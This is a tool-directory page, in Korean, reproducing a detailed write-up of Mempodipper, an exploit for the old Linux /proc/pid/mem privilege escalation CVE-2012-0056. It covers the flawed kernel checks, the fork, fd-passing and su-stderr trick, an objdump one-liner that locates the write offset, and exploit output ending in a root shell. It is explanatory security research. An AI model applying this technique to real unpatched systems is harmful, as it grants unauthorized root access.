Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2012-0056 — linux 권한 상승 | Kitploit
도구/GitHubGitHub/pythonone/cve-2012-0056
Privilege EscalationVulnerability AnalysisExploitationShellcodeLearning & EducationBinary Exploitation
GitHubpythonone/cve-2012-0056

CVE-2012-0056

linux 권한 상승

저장소 보기
1610년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SUID /proc/pid/mem 쓰기를 통한 Linux 로컬 권한 상승

Mempodipper

CVE-2012-0056에 대한 익스플로잇인 Mempodipper를 소개합니다. /proc/pid/mem은 프로세스의 가상 메모리 공간과 동일한 주소로 탐색하여 프로세스 메모리를 직접 읽고 쓸 수 있는 인터페이스입니다. 2.6.39에서는 /proc/pid/mem에 대한 무단 접근 방지 조치가 충분하다고 판단되어, 임의 프로세스 메모리에 대한 쓰기 지원을 막던 기존의 #ifdef가 제거되었습니다. 올바른 권한이 있는 사람은 누구나 프로세스 메모리에 쓸 수 있었습니다. 물론 권한 검사가 제대로 이루어지지 않았음이 밝혀졌습니다. 이는 모든 Linux 커널 >=2.6.39가 취약함을 의미합니다, 며칠 전에 나온 수정 커밋까지 영향을 받습니다. 예전 커널 코드를 단계별로 살펴보고 무엇이 문제인지 알아봅시다.

/proc/pid/mem이 열리면 이 커널 코드가 호출됩니다:

root@kitploit:~
static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

열기에 대한 제한은 없습니다. 누구나 모든 프로세스에 대해 /proc/pid/mem fd를 열 수 있습니다 (일반적인 VFS 제한에 따름). 단지 열린 원래 프로세스의 self_exec_id를 기록해 두었다가 나중에 읽기 및 쓰기 중에 검사할 수 있도록 저장합니다.

그러나 쓰기(및 읽기)에는 권한 검사 제한이 있습니다. 쓰기 함수를 살펴보겠습니다:

root@kitploit:~
static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{

/* unimportant code removed for blog post */	

	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
	
/* unimportant code removed for blog post */

	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;

/* unimportant code removed for blog post */	

	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;

/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */	

따라서 무단 쓰기를 방지하기 위해 두 가지 관련 검사가 있습니다: check_mem_permission과 self_exec_id. 첫 번째를 먼저, 두 번째를 두 번째로 살펴보겠습니다.

check_mem_permission의 코드는 단순히 __check_mem_permission을 호출하므로, 그 코드는 다음과 같습니다:

root@kitploit:~
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);

	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;

	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}

	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

메모리 쓰기가 승인되는 방법은 두 가지입니다. task == current (즉, 쓰여지는 프로세스가 쓰는 프로세스인 경우) 또는 current(쓰는 프로세스)가 task(쓰여지는 프로세스)를 다루기 위한 난해한 ptrace 수준 권한을 가지고 있는 경우입니다. ptrace 코드를 속일 수 있다고 생각하시나요? 유혹적이군요. 하지만 저는 모르겠습니다. 대신 프로세스가 자신에게 임의 메모리를 쓰도록 하는 방법을 알아봅시다. 그래서 task == current가 되도록 말이죠.

이제 자연스럽게 우리는 suid 프로세스의 메모리에 쓰고 싶어집니다. 그러면 루트를 얻을 수 있기 때문입니다. 다음을 살펴보세요:

root@kitploit:~
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su는 "Unknown id:" 접두사와 함께 원하는 텍스트를 stderr로 출력합니다. 따라서 /proc/self/mem에 fd를 열고, lseek으로 메모리 내 올바른 쓰기 위치로 이동한 다음(자세한 내용은 나중에), dup2를 사용하여 stderr와 mem fd를 결합하고, exec로 su $shellcode를 실행하여 셸 스포너를 프로세스 메모리에 쓴 다음 루트를 얻습니다. 정말? 그렇게 쉽지 않습니다.

여기서 다른 제한이 작용합니다. task == current 테스트를 통과한 후, 현재 self_exec_id가 fd가 열릴 때의 self_exec_id와 일치하는지 확인합니다. self_exec_id가 도대체 무엇일까요? 커널에서 몇 군데만 참조됩니다. 가장 중요한 곳은 exec 내부에 있습니다:

root@kitploit:~
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */

	/* An exec changes our domain. We are no longer part of the thread
	   group */

	current->self_exec_id++;
			
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id는 프로세스가 exec를 호출할 때마다 증가합니다. 따라서 이 경우, 비-suid 프로세스에서 fd를 열고 dup2한 다음 exec로 suid 프로세스로 전환하는 것을 막는 역할을 합니다... 이는 위에서 우리가 하려던 것입니다. 우리의 공격을 막는 꽤 영리한 방법이죠, 그렇지 않나요?

우회하는 방법은 다음과 같습니다. 자식을 포크하고, 그 자식 내에서 새 프로세스로 exec합니다. 초기 자식 포크는 부모와 동일한 self_exec_id를 가집니다. 새 프로세스로 exec하면 self_exec_id가 1 증가합니다. 한편, 부모 자신은 셸코드를 작성하는 su 프로세스로 exec하는 중이므로 부모의 self_exec_id도 같은 값으로 증가합니다. 따라서 우리가 하는 일은 -- 자식을 포크하고 새 프로세스로 exec한 다음, 그 새 프로세스 내에서 자신의 프로세스가 아닌 부모 프로세스의 pid를 사용하여 /proc/parent-pid/mem에 fd를 엽니다 (이전의 경우와 달리). 단순한 열기에는 권한 검사가 없기 때문에 이렇게 fd를 열 수 있습니다. fd가 열릴 때, 그 self_exec_id는 이미 우리가 su로 exec할 때 부모의 self_exec_id가 될 올바른 값으로 증가되어 있습니다. 마지막으로, 열린 fd를 자식 프로세스에서 부모 프로세스로 전달하고(매우 검은 유닉스 도메인 소켓 마법 사용), dup2를 수행한 다음 셸 코드와 함께 su로 exec합니다.

한 가지 남은 문제가 있습니다. 어디에 써야 할까요? 쓰기 전에 lseek으로 적절한 메모리 위치로 이동해야 하는데, ASLR이 프로세스 주소 공간을 무작위화하여 쓰기 위치를 알 수 없게 만듭니다. 프로세스 메모리를 읽는 방법을 알아내기 위해 더 영리한 작업에 시간을 투자한 다음 검색을 수행해야 할까요? 아닙니다. 이것을 확인해보세요:

root@kitploit:~
$ readelf -h /bin/su | grep Type
   Type:                              EXEC (Executable file) 

이는 su에 재배치 가능한 .text 섹션이 없다는 것을 의미합니다(그렇지 않았다면 "EXEC" 대신 "DYN"을 출력했을 것입니다). 대부분의 배포판에서 su는 PIE로 컴파일되지 않았으며, 따라서 바이너리의 .text 섹션에 대한 ASLR이 비활성화됩니다! 그래서 우리는 현명하게 su를 선택했습니다. 메모리의 오프셋은 항상 동일할 것입니다. 따라서 올바른 쓰기 위치를 찾기 위해 "Unknown id: blabla" 오류 메시지 출력을 둘러싼 어셈블리를 살펴보겠습니다.

root@kitploit:~
  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

따라서 우리는 호출하는 exit 함수인 0x402178을 사용하려고 합니다. 익스플로잇에서 간단한 bash 원라이너로 exit@plt 심볼을 찾는 것을 자동화할 수 있습니다:

root@kitploit:~
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

따라서 자연스럽게 0x402178에서 문자열 "Unknown id: "의 글자 수를 뺀 위치에 쓰려고 합니다. 그러면 셸코드가 정확히 올바른 위치에 배치됩니다.

셸코드는 간단하고 표준적이어야 합니다. uid와 gid를 0으로 설정하고 셸로 exec합니다. 영리해지고 싶다면, 메모리 fd를 stderr에 dup2하기 전에 stderr를 다른 fd로 dup할 다른 fd를 선택한 다음, 셸코드에서 그 다른 fd를 다시 stderr로 dup2하여 stderr를 다시 열 수 있습니다.

결국 익스플로잇은 완벽한 신뢰성으로 매력적으로 작동합니다:

root@kitploit:~
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# 

작동하는 모습을 동영상으로 볼 수 있습니다.

Dan Rosenberg에게 지속적인 조언과 지원에 감사드립니다. 현재 소스 코드를 공개하지 않습니다, Linus가 아주 최근에 패치했기 때문입니다. 적절한 시간이 지나거나 다른 사람이 먼저 공개하면 게시하겠습니다. 배우려는 학생이거나 다른 합법적인 이유가 있다면 이야기할 수 있습니다.

업데이트: 분명히, 이 블로그 게시물을 바탕으로 아이러니하게도 다른 사람들이 익스플로잇을 만들어 게시했습니다. 그래서 여기에 제 것을 공개합니다. 32비트 및 64비트용 셸코드를 직접 작성했습니다. 즐기세요!

업데이트 2: 알고 보니 Fedora는 su를 PIE로 매우 적절하게 컴파일하여 이 공격을 무력화합니다. 불행히도 모든 SUID 바이너리를 PIE로 컴파일하지는 않으므로, 예를 들어 gpasswd를 사용하면 이 공격이 여전히 가능합니다. 이를 수행하는 코드는 git 저장소의 "fedora" 브랜치에 있으며, 동영상 데모도 있습니다.

업데이트 3: Gentoo는 SUID 바이너리에서 읽기 권한을 제거하여 objdump를 사용해 exit@plt 오프셋을 찾는 것을 불가능하게 만듭니다. 저는 ptrace를 사용하여 이를 수행하는 다른 방법을 알아냈습니다. Ptrace는 메모리 내의 모든 프로그램을 디버깅할 수 있게 해줍니다. SUID 프로그램의 경우 ptracing은 권한을 떨어뜨리지만, 내부 메모리 위치를 찾기만 하면 되므로 괜찮습니다. 적절한 시점에 바이너리의 opcode를 파싱하여 오류 메시지 출력 후 다음 호출의 대상 주소를 해독할 수 있습니다. 오프셋을 반환하는 독립 실행형 유틸리티를 만들었으며, 이를 주요 mempodipper 소스에 통합했습니다.

{항상 그렇듯이, 여기서의 작업은 엄격히 학술적이며, 연구 및 교육 목적 외의 용도로 사용되지 않습니다.}

도구 다운로드